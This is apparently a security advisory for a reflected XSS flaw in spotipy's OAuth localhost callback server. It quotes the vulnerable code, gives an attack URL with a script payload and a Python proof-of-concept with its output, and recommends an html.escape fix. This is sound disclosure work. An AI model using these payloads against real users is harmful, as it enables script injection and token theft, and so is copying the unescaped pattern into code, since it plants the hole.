XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.
Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)
The Problem:
During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.
Vulnerable code at line 1255:
status = f"failed ({self.server.error})"
Then embedded in HTML at line 1265:
self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")
The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.
Attack Flow:
1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080
2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
3. User visits URL → JavaScript executes in localhost origin
Simple Python Test:
#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback
import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time
# Start vulnerable server in background
def start_server():
server = start_local_http_server(8080)
server.handle_request()
thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)
# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'
response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")
# Check if vulnerable
if payload in response.text:
print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
print("\n[+] Safe: Payload was sanitized")
Run it:
pip install spotipy requests
python3 poc_xss.py
Output shows:
Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>
[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!
The Proof:
- Expected (safe): <script>alert("XSS")</script>
- Actual (vulnerable): <script>alert("XSS")</script>
- The script tags are NOT escaped → XSS confirmed
Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79
Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs
Attack Complexity: Medium-High - Requires timing (during brief OAuth window) - Localhost-only (127.0.0.1) - Requires user interaction (click malicious link)
Potential Impact: - Execute JavaScript in localhost origin - Access other localhost services (port scanning, API calls) - Steal data from local web applications - Extract OAuth tokens from browser storage - Bypass CSRF protections on localhost endpoints
CVSS 3.1 Score: 4.2 (Medium) - Attack Vector: Local - Attack Complexity: High - Privileges Required: None - User Interaction: Required - Scope: Unchanged - Confidentiality/Integrity: Low
Recommended Fix:
import html
# Line 1255 - apply HTML escaping
if self.server.error:
status = f"failed ({html.escape(str(self.server.error))})"
{
"nvd_published_at": "2025-11-27T00:15:55Z",
"github_reviewed": true,
"github_reviewed_at": "2025-12-01T19:07:26Z",
"severity": "LOW",
"cwe_ids": [
"CWE-79"
]
}